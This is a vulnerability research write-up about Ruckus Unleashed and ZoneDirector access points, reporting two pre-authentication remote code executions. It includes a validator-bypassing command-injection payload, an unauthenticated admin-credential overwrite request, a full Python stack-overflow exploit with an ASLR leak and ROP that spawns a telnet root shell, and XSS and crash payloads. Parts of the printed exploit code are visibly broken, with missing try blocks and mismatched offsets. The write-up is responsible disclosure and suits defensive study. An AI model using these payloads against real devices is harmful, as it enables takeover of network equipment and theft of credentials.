Don't Ruck Us Again - The Exploit Returns

By Gal Zror (@waveburst)
October 14, 2020


This article presents a follow-up vulnerability research conducted on Ruckus access points. Ruckus Networks is a company selling wired and wireless networking equipment and software. For the right context, we recommend checking our previous research found here.

This current research resulted in 2 different pre-authentication remote code executions. Exploitation uses vulnerabilities such as information leakage, credentials overwrite, authentication bypass, command injection, and stack overflow. Vulnerabilities were found and verified on Ruckus’s Unleashed product line and ZoneDirector product line. We also found XSS, DoS, and information leakage vulnerabilities.

We introduced this research at “DEFCON28 safe mode”:

Introduction - Recap:

Our first research focused on ‘/bin/emfd’, which is the web interface logic. We discovered 10 CVEs that lead to 3 different RCEs. After the disclosure process with Ruckus was complete, we checked that Ruckus indeed fixed all the vulnerabilities correctly. We discovered that CVE-2019-19838 was not patched correctly and can still be used for OS command injection. We then decided to conduct follow-up research and tried to gain a pre-auth RCE again. After achieving this (and since we now own an actual R510 Unleashed device), we continued to research other binaries not covered in our first research.

Important Binaries:

Before we begin, we would like to present the binaries that were found vulnerable in this research:

  • /bin/webs - This webserver is based on the “Embedthis-Appweb” open-source project. It handles HTTP/S requests and executes handlers according to its configuration. It then sends commands through a Unix domain socket to emfd.
  • /bin/emfd - This executable contains the web interface logic. It maps functions from jsp pages to its functions. It implements web interface commands such as backup, network/firewall configuration, retrieval of system information, and more.
  • /usr/lib/libemf.so - This library is used by emfd for web authentication and sanitization.

First Attack Scenario:

In this scenario, we found a way to reuse the command injection vulnerability (CVE-2020-13919) from our previous research. We then bypassed authentication by using the admin credentials overwriting vulnerability (CVE-2020-13915).

Reusing Previous Command injection (CVE-2020-13919):

Our first research found a post-authentication command injection vulnerability in 4 emfd functions (CVE-2019-19838). These functions were using libc’s system() without validating input parameters. After we informed Ruckus about this, they tried to fix this by using a validation function from libemf.so called is_validate_input_string():

This function checks whether a given string contains any on the following characters $;&()|"<>'\␣` and if so, denies the request.

At first, it might seem like proper validation. Still, we decided to thoroughly check this validator by creating a set of valid non-alphanumeric printable ASCII set, which is ,-:?.![]{}[]+*=#%@\^_~.

Now that we got our primitives set, we performed some trial and error to determine whether command execution is still possible. Luckily, our set contains some very interesting primitives, particularly the pound sign (#), the exclamation mark (!), and slash (/). Together, these characters can create a shebang symbol. In Unix-like systems, this character sequence informs the program loader which interpreter to use. In our case, we could use #!/bin/sh to bypass validation and execute shell commands. However, we couldn’t just append a command right after #!/bin/sh. POSIX interpreters execute commands only when there is a new line after the shebang. Thankfully there’s no validation for a new line character (\n), so we could append a new line with a command to be executed right after the shebang. The only problem left to solve was that space was also not a valid character. That means we had to find a different character that works instead of space. Perhaps you already guessed by now - we simply replaced spaces with tabs. That is how we overcame the is_validate_input_string() validator and executed arbitrary commands once again.

Here’s an example of a vulnerable request that executes a sleep 10 command:

POST /admin/_cmdstat.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
X-CSRF-Token: 1VvEMc1nbx
Cookie: -ejs-session-=x0ea15a04dc0b243874d37739741e4946
Content-Length: 205

<ajax-request action='docmd' xcmd='get-platform-depends' updater='system.1568118269965.3208' comp='system'>
<xcmd cmd='import-avpport' uploadFile='#!/bin/sh\nsleep\t10' type='wlan-maxnums'/>

Since Ruckus fixed our previous authentication bypass, we still had to find a new way to bypass authentication to complete our pre-auth RCE.

Credentials overwrite (CVE-2020-13915):

To bypass authentication, we first must find a jsp page that calls some functionality. Furthermore, we need a page that doesn’t verify session authentication.

Let’s have a look at /web/admin/_wla_conf.jsp page, which uses an emfd function called AjaxConf(). This function expects an ajax XML request with an action attribute, that in our case can be either setconf or docmd. We discovered that the setconf function was vulnerable to credentials overwrite, and we will explain more about this later.

But first, we would like to describe how this function was reachable without authentication. This is what the /web/admin/_wla_conf.jsp page looks like:

Delegate("WithoutLoginAccessCheck", session\["cid"\], 'true');
Delegate("AjaxConf", session\["cid"\]);

Our previous research revealed that the SessionCheck() function is used for verifying user authentication before reaching additional functions in the jsp page. Thankfully this page doesn’t use SessionCheck(). However, we still had to pass WithoutLoginAccessCheck to reach the vulnerable AjaxConf function.

Let’s first understand what WithoutLoginAccessCheck expects:

We realized from WithoutLoginAccessCheck() decompiled code, that it expects an Ajax XML request with an action attribute. If the action attribute is setconf or docmd, it will call CheckResetCredentialConfPara() or CheckResetCredentialCmdPara(), respectively. These two functions validate that the ajax XML request contains the right attribute names for each function.

When reaching to CheckResetCredentialCmdPara(), its action attribute is docmd. Therefore, it triggers an adapter_docommand function that calls a large function called doCommand in emfd. Sadly, the functionality we reached through CheckResetCredentialCmdPara() is very limited, since it only permits five commands that either validate or retrieve system information.

For that reason, we decided to focus on CheckResetCredentialConfPara(). Its action attribute is setconf, causing it to trigger the adapter_setConf() function when it reaches AjaxConf. This function can update configuration files in the device’s configuration directory, /writable/etc/airspider.

Similar to the CheckResetCredentialCmdPara() function, CheckResetCredentialConfPara() also checks that an ajax request contains valid attributes. It expects an admin XML element with the following values:

The above decompiled code shows us that 7 attributed are needed by CheckResetCredentialConfPara() - username, fallback-local, authsvr-id, auth-by, x-password, IS_PARTIAL, reset, and auth-token. That’s how we reconstructed the following valid ajax request, that passes the CheckResetCredentialConfPara() check and continues to AjaxConf():

<ajax-request action='setconf' updater='acl-list.1579433244273.4243' comp='system'>
	<admin username="admin" x-password="1234" auth-token="" reset=true IS_PARTIAL="" auth-by="local" authsvr-id='0' fallback-local="true" />

System configuration file:

system.xml is the primary system configuration file found in /writable/etc/airespider/system.xml. Among other important configurations, it also contains the admin credentials. Conveniently, the admin XML element in the ajax request has the same nodes expected by system.xml for admin credentials. We then got the idea that we can try to overwrite admin credentials by overwriting this node in system.xml.

Now that we finally got to AjaxConf(), we needed to understand what functionality can be used. Since we are passing a setconf action, AjaxConf() will use adapter_setConf() to update a configuration file found in /writable/etc/airspirder/{comp}.xml. adapter_setConf() receives which configuration file to update from the comp attribute in the ajax XML request. If we get it to update system.xml, we will overwrite admin credentials.

ruckus$ ls /writable/etc/airespider/
alarm-list.xml              cluster                     mdnsproxyrule-list.bak.xml  usbdev-list.bak.xml
ap-list.bak.xml             custom.xml                  mdnsproxyrule-list.xml      usbdev-list.xml
ap-list.xml                 dropbear                    policy-list.bak.xml         user-list.bak.xml
apgroup-list.bak.xml        dump                        policy-list.xml             user-list.xml
apgroup-list.xml            eventd-stat.xml             policy6-list.bak.xml        wlangroup-list.bak.xml
avpap-list.xml              guest-list.bak.xml          policy6-list.xml            wlangroup-list.xml
avppolicy-list.bak.xml      guest-list.xml              syslog.conf                 wlansvc-list.bak.xml
avppolicy-list.xml          guestservice-list.bak.xml   system.bak.xml              wlansvc-list.xml
avpport-list.bak.xml        guestservice-list.xml       system.xml
avpport-list.xml            license-list.bak.xml        uploadavpport_file
certs                       license-list.xml            uploaded

ruckus$ grep admin /writable/etc/airespider/system.xml 
<admin username="admin" x-password="2345" auth-token="" reset="true" \\
IS_PARTIAL="" auth-by="local" authsvr-id="0" fallback-local="true" />

The difficulty with adapter_setConf() was that it couldn’t just update system.xml. If the comp attribute was set to “system”, it could only update a specific node called “adv-radio”, which was not our desired admin node. Thankfully, if the comp attribute wasn’t set to “system”, we could get adapter_setConf() to update any other configuration file with our admin node.

This update was achievable because we realized that the comp attribute was the actual XML file name. For example, when comp was set to “system”, adapter_setConf() would update /writable/etc/airespider/system.xml, and if comp was set to “ap-list”, adapter_setConf() would update /writable/etc/airespider/ap-list.xml. Our holy grail was to find a comp value that was not “system”, while still being able to update /writable/etc/airespider/system.xml. In other words, we had to find a way to access system.xml without setting comp to “system.xml”. Problematic, right?

Thankfully, we could use slash (“/”) for our rescue. By using “/system.xml” instead of on “system.xml”, we managed to overcome this obstacle. The comp attribute is no longer equal to “systeml.xml”. Since POSIX allows us to use multiple slashes in a file path, /writable/etc/airespider//system.xml is perfectly fine and can be updated by adapter_setConf().

We could now use this following unauthenticated HTTP request to overwrite admin credentials to admin:1234.

POST /admin/_wla_conf.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
Content-Length: 239
Connection: close

<ajax-request action='setconf' updater='acl-list.1579433244273.4243' comp='/system'>
<admin username="admin" x-password="1234" auth-token="" reset=true IS_PARTIAL="" auth-by="local" authsvr-id='0' fallback-local="true" />


After overwriting admin credentials, we can use the previous command injection and pop a busybox shell using telnetd. We can also retrieve the original credentials by executing cat /tmp/var/run/rpmkey* |grep -A1 powerful.

ruckus$ grep -A1 "all_powerful_login" /var/run/rpmkey*

Now we could avoid leaving a footprint by using the same attack with the original credentials. And this wraps our first RCE.

Second Attack Scenario (CVE-2020-13916):

In this scenario, we exploited a stack overflow in code added by Ruckus to the “embedThis” web server.

Web interface secondary analysis:

In our previous research, we explained how the web interface operates, and discovered vulnerabilities in its general logic binary - emfd. In this research, we decided to investigate Ruckus’s webserver binary. This binary is based on the “embedThis” open-source project. To make the webserver work with other logic components, Ruckus had to add code and handlers to “embedThis”. Before we get into the vulnerability itself, we would like to show how we managed to get function names from “embedThis” into the Ghidra disassembler. By doing this, we saved plenty of time on reversing and managed to spot additional code added by Ruckus very efficiently.

Fetching function names from “embedThis”:

Our end goal was to mark the code added by Ruckus to “embedThis”. Our motivation was that since “embedThis” is an open-source project, we did not have to invest time in analyzing it with Ghidra - we could read its source code. The code we had to reverse was the one added by Ruckus. We decided to use debugging functions found in the webserver to retrieve function names from “embedThis” and mark Ruckus proprietary functions.

We noticed that many anonymous functions, such as “FUN_0014f38”, use a debug function with “server.c:138” string as an argument. We then observed the server.c file at line 138 in the “embedThis” codebase. We noticed that the function “FUN_0014f38” name was actually “maCreateHttp”. That information motivated us to create a Ghidra script that examines these debug functions. We then used the “embedThis” codebase to extract and rename functions accordingly. We also used the script from our previous research and manual reverse engineering, to mark the functions added by Ruckus with an “rks_” prefix.

Here we can see that “maCreateHttp” uses ten functions from the original “embedThis” code, two functions added by Ruckus, and three functions that could not be automatically categorized.

Esp function registertion:

After retrieving the webserver’s function names, it was easier for us to understand how it operates. Ruckus created ejs handlers that execute specific functions based on the content of its ejs ( .jsp ) pages. For that, they registered their functions by calling registerEspExtension()

We noticed that Ruckus registered 12 functions. We could reach those functions by requesting a jsp page that uses the ejs handler. We discovered that the S(), Str(), EscapeJS(), and GetCookieValue() functions all use unsafe string copy. To produce a stack overflow, we then had to find a jsp page that didn’t check for authentication, and passed the user input to one of the above vulnerable functions.

We used the following grep command to search for pages that use any of the vulnerable functions and do not use constant strings. We managed to find two pages that use the S() function with a non-constant variable.

➜  web grep -nr "%S([^'\"s].*[^'\"])" `find . -iname "*.jsp"`
./admin/webPage/wifiNetwork/wlanSysConfirm.jsp:11:	\\
	<p style="line-height:30px;padding:5% 0;"><%S(content);%></p>
./user/error.jsp:19:	\\

Since error.jsp is relatively big and complex, we decided to focus on “wlanSysConfirm.jsp”. Here is the page content:

ruckus$ cat /web/admin/webPage/wifiNetwork/wlanSysConfirm.jsp 
var aeFlag = EscapeJStr(params["flag"]);
var content = params["contentKey"]
content = content || "UN_SendEmailOrSMS";
var showCancel = params["showCancel"]!='false'

<div style="width:750px;margin-top:50px;border-radius:5px;" class="pop_box box_824" id="wlanSysConfirm">
<s class="close_tag" style="display:<%=showCancel?'':'none'%>" id="close_wlansysconfirm">&times;</s>
<div class="head_title">
<p style="line-height:30px;padding:5% 0;"><%S(content);%></p>
<div class="button_box">
 <input type="button" value="<%S("Yes")%>" class="ok" id="sysconfirm_yes">
 <input type="button" style="display:<%=showCancel?'':'none'%>" value="<%S("No")%>" class="cancel" id="sysconfirm_no">
var ae_flag = '<%=aeFlag%>';

We noticed that S() receives a variable named “content”. Fortunately, this variable is set directly by a user parameter called “contentKey”.

To smash the webserver stack, all we had to do was send a POST request to /admin/webPage/wifiNetwork/wlanSysConfirm.jsp with a “contentKey” body parameter larger than 264 bytes.


R510 uses both NX and ASLR. To overcome its defenses, we used ROP gadgets and a memory address leak from uclibc. We want to thank our team member Itai Greenhut for researching and developing this exploit.

ASLR bypass:

Since our stack overflow occurs in the webserver, a brute force approach will take some time, because we must wait for the webserver’s watchdog to rerun it. That is why we decided to search for a memory leak that would help us bypass the ASLR. Let’s have a look at the S() decompiled code:

The use of strcpy() (line 21) allows us to write data from req_str and overflow a 256-byte buffer pointed by local_114. Please note that we control $pc and crash the webserver only when S() reaches its epilog. From the decompiled code, we see that before S() ends, it calls ejsWriteString() (line 28) with our overflowed buffer. Luckily, ejsWriteString() reads the content of resp_str until it reaches a null character, and sends its content back in the HTTP response. We realized that our buffer overflow could also overwrite the null-terminating character of resp_str.

Let’s look at the webserver memory right before the overwrite.

0xb6394030:     0x41414141      0x41414141      0x41414141      0x41414141
0xb6394040:     0x41414141      0x41414141      0x41414141      0x41414141
0xb6394050:     0x41414141      0x41414141      0x41414141      0x41414141
0xb6394060:     0x41414141      0x41414141      0x41414141      0x41414141
0xb6394070:     0x41414141      0x41414141      0x41414141      0x41414141
0xb6394080:     0x41414141      0x41414141      0x41414141      0x41414141
0xb6394090:     0x41414141      0x41414141      0x41414141      0x41414141
0xb63940a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xb63940b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xb63940c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xb63940d0:     0x41414141      0x0057c800      0xb639410c      0x00084d74
0xb63940e0:     0x00000001      0x00564100      0x00552130      0x00573250
0xb63940f0:     0x00000000      0x000000a5

The null byte right after 0xb63ed0d4 terminates the resp_str string. Right after the buffer, there was a pointer to a local variable on the stack with the value - 0xb63ed10c. We realized that if we could leak this pointer, we could calculate other addresses to overcome ASLR. Thankfully, we could make ejsWriteString() return us this pointer with a careful overwrite. To keep the webserver memory as deterministic as possible, we decided to crash it one time, wait for it watchdog to rerun it and then leak this memory value.

Now that we found a way to bypass ASLR, we used a single gadget ROP to make r0 point to our buffer and jump to system().

Here’s Itai’s exploit that includes all of the above:

import time
import struct
import argparse
import urllib3
import telnetlib

import requests



def is_router_up(router_ip, router_port):
        response = requests.get("https://{}:{}/".format(router_ip, router_port), verify=False)
        if response.status_code == requests.status_codes.codes.OK:
            return True
    except requests.exceptions.ConnectionError:
        return False

def crash_webserver(router_ip, router_port):

    # This request will cause a SEGFAULT and crash our webserver
    # We crash the webserver to a clean state in order to be able to use our info leak.
    payload = "A" * 268
        exploit_request(router_ip, router_port, payload)
    except requests.exceptions.ConnectionError:
        print("[+] Successfully crashed webserver")

def leak_address(router_ip, router_port):
    payload = "A" * 264
    response = exploit_request(router_ip, router_port, payload)

    # Parse the response and extract the leaked address
    end_index = response.find(b"</p>") - 4
    leaked_address = struct.unpack("<I", response[end_index - 8:end_index - 4])

    print("[+] Got address leak from the stack")
    print("[+] Leaked address: {}".format(hex(leaked_address[0])))

    libc_address = leaked_address[0] + 0x5e3034  # Our libuClibc library offset in a clean state
    print("[+] libc address: {}".format(hex(libc_address)))
    return (libc_address, leaked_address[0])

def exploit_router(router_ip, router_port, libc_address, buffer_address):
    print("[*] Crafting payload")

    cmd = "telnetd -p {} -l /bin/sh #".format(TELNET_PORT).encode()
    payload = cmd + b"A" * (268 - len(cmd)) + b"CCCC"
    payload += struct.pack("<I", libc_address + 0x31e90)  # pop {r0, pc}
    payload += struct.pack("<I", buffer_address)  # address of the command to execute
    payload += struct.pack("<I", libc_address + 0x52224)  # system() address

    print("[*] Address of the first gadget = {}".format(hex(libc_address + 0x31e90)))
    print("[*] Address of our buffer = {}".format(hex(buffer_address)))
    print("[*] Address of system = {}".format(hex(libc_address + 0x62224)))
    print("[*] Sending exploit!")
    exploit_request(router_ip, router_port, payload)

def exploit_request(router_ip, router_port, payload):
    data = {"flag": "b", "contentKey": payload}
    a = requests.post("https://{}:{}/admin/webPage/wifiNetwork/wlanSysConfirm.jsp".format(router_ip, router_port), verify=False, data=data)
    return a.content

def telnet_connect(router_ip):
    with telnetlib.Telnet(router_ip, TELNET_PORT) as tn:

def main():
    leaked = False

    parser = argparse.ArgumentParser(description="Exploit for ruckus devices.")
    parser.add_argument("ip", type=str, metavar="IP", help="ip address of the ruckus device")
    parser.add_argument("port", type=int, metavar="PORT", help="ruckus web port [default: 443]", nargs='?', default=443)

    args = parser.parse_args()
    router_ip = args.ip
    router_port = args.port

    print("[*] Checking if the web interface is up...")
    if not is_router_up(router_ip, router_port):
        print("[-] web interface is down!")

    print("[+] Web interface is up")
    print("[*] Crashing webserver")

    crash_webserver(router_ip, router_port)
    print("[*] Waiting for watchdog to restart webserver")
    while not leaked:
        print(".", end="", flush=True)
            (libc_address, buffer_address) = leak_address(router_ip, router_port)
            leaked = True
        except requests.exceptions.ConnectionError:
            # This will happen until the webserver is up again.

    print("[*] Sleeping...")
    next_buffer_address = buffer_address + 4005888  # As noticed on a clean state, we are able to predict our next request buffer address.
        exploit_router(router_ip, router_port, libc_address, next_buffer_address)
    except requests.exceptions.ConnectionError:
        print("[+] Telnet should be open now on port {}".format(TELNET_PORT))


if __name__ == "__main__":

Other vulnerabilities found:

Except for above RCEs in this research we also discovered an XSS(CVE-2020-13913), DOS(CVE-2020-13914), and information leakage(CVE-2020-13918) that may lead to a jailbreak.

Cross-site scripting (CVE-2020-13913):

While researching the ajax commanding interface, we discovered a cross-site scripting vulnerability. Every ajax request to “/admin/_wla_cmdstat.jsp” has to contain an “updater” attribute. The attribute value was reflected in the ajax response as an “id” attribute. Since ajax response messages are using “text/xml” mime, we had to use this following payload to trigger an alert script.

POST /admin/_wla_cmdstat.jsp HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 190

<ajax-request action='docmd' updater='">
<a xmlns:a="http://www.w3.org/1999/xhtml"><a:body onload="alert(1)"/></a>
<!--' comp='system'>
<xcmd cmd='get-security-email-hint'/>

Denial of service (CVE-2020-13914):

Sometimes while researching, you may get lucky. This vulnerability was found by accident. While trying to understand how “multipart/form-data” was implemented, we noticed that if an empty parameter was set to “;” right after “Content-Disposition”, then the webserver crashes.

Content-Type: multipart/from-data; boundary=abc
Content-Length: 68

Content-Disposition:; name="text123"

text default

Information leakage (CVE-2020-13918):

While we were searching for an accessible page without authentication, we came across upnp.jsp. This page contains some interesting and sensitive information that does not require any authentication.

➜  ~ wget -q -O -
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
        <manufacturer>Ruckus Wireless</manufacturer>
        <modelDescription>Ruckus Wireless Unleashed</modelDescription>

The example above shows that this page includes the device model and the model number. This information can be used to check whether a device is vulnerable or not. What’s even more interesting is that this page contains the device’s serial number. An attacker can use this information to fingerprint a device. Furthermore, our previous research discovered that Ruckus uses the device serial number as a key for jailbreaking the CLI. That means an attacker could potentially use it for escaping to a busybox shell.


This follow-up research was challenging and exciting. We managed to use a new command injection payload, which we never used before. We realized once again that retrieving as much information as possible on a target binary can save a lot of time. Same as before, we informed Ruckus Wireless about the vulnerabilities. Ruckus released a fix for Unleashed AP and ZoneDirector. You can find more information about effected devices and specific firmware versions in Ruckus Security Advisory